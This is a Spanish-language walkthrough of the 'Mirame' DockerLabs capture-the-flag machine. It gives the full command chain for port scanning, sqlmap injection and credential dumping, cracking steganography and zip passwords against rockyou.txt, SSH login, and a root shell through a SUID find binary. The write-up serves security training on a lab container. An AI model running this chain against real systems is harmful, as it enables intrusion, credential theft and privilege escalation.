Mirame - DockerLabs
| OS | Dificultad | Creator |
|---|---|---|
| Linux | Fácil | maciiii___ |
Reconocimiento
Comenzamos el proceso de reconocimiento identificando los puertos abiertos en el sistema objetivo.
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG ports
-p-: Escanea todos los puertos (1-65535).--open: Solo muestra los puertos abiertos.-sS: Realiza un escaneo SYN, que es rápido y discreto.--min-rate=5000: Envía al menos 5000 paquetes por segundo, acelerando el escaneo.-n: No realiza resolución DNS.-Pn: No realiza ping previo para determinar si el host está activo.-vvv: Muestra resultados detallados y en tiempo real.
Durante el escaneo, descubrimos que los siguientes puertos están activos:
22(SSH)80(HTTP)
A continuación, evaluamos si los puertos abiertos presentan alguna vulnerabilidad, además de obtener más información sobre los servicios asociados a esos puertos.
nmap -p 80,22 -sCV 172.17.0.2 -oG targeted
Exploración Web
Al acceder a la página web, observamos una página de inicio de sesión:
Utilizamos Gobuster para realizar un reconocimiento web y explorar los directorios disponibles en el sitio.
gobuster dir -u http://172.17.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,doc,html,txt,img
gobuster dir- Indica que estás utilizando la herramienta Gobuster para realizar un escaneo de directorios.-u http://172.17.0.2/Especifica la URL objetivo que deseas escanear en busca de directorios.-wEspecifica que diccionario queremos usar-xPara indicar que tipo de extension queremos que nos encuentre
Encontramos varias rutas, pero sin resultados interesantes por el momento.
Inyeccion Sql
Probamos inyecciones SQL en el formulario de inicio de sesión usando sqlmap.
Primero, capturamos la petición y la guardamos en un archivo request.req:
Probamos si el sitio es vulnerable a inyección SQL:
sqlmap -r request.req -p searchitem --batch
Al parecer, es vulnerable. Ahora consultamos las bases de datos:
sqlmap -r request.req -p searchitem --batch --dbs
A continuación, obtenemos las tablas de la base de datos users:
sqlmap -r request.req -p searchitem --batch -D users --tables
A continuacion, obtenemos el contenido de la tabla usuarios.
sqlmap -r request.req -p searchitem --batch -D users -T usuarios --columns
Extraemos las columnas id, username y password de la tabla usuarios:
sqlmap -r request.req -p searchitem --batch -D users -T usuarios -C id,username,password --dump
Intrusion
Ya teniendo un listado vemos que hay uno llamado directoriotravieso y si es es un directorio .
Por lo que parecia , era una buena suposicion , ahora lo que haremos sera descargar esa imagen y ver si contiene un mensaje oculto.
steghide --extract -sf miramebien.jpg
Nos solicita una contraseña que aún no conocemos:
Fuerza bruta
Usamos stegcracker para realizar un ataque de fuerza bruta sobre la imagen miramebien.jpg utilizando el diccionario rockyou.txt:
stegcracker miramebien.jpg /usr/share/wordlists/rockyou.txt
La contraseña es chocolate. Ahora extraemos el contenido oculto de la imagen:
Y nos ha descargado un ocultito.zip , vamos a descomprimirlo, parece que este también tiene un password.
Descargamos un archivo llamado ocultito.zip, el cual está protegido por una contraseña.
Extraemos el hash de la contraseña con zip2john:
zip2john ocultito.zip > contraseña.hash
Usamos john para descifrar la contraseña:
john contraseña.hash --wordlist=/usr/share/wordlists/rockyou.txt
La contraseña es stupid1. Ahora descomprimimos el archivo:
unzip ocultito.zip
El archivo descomprimido es secret.txt. Contiene credenciales:
Usamos estas credenciales para conectarnos por SSH:
ssh carlos@172.17.0.2
Escalada de privilegios.
Buscamos binarios con permisos SUID:
find / -perm -4000 2>/dev/null
Vemos que tenemos permisos en find. Ejecutamos el siguiente comando para obtener una shell como root:
/usr/bin/find . -exec /bin/sh -p \; -quit
¡Ya somos root!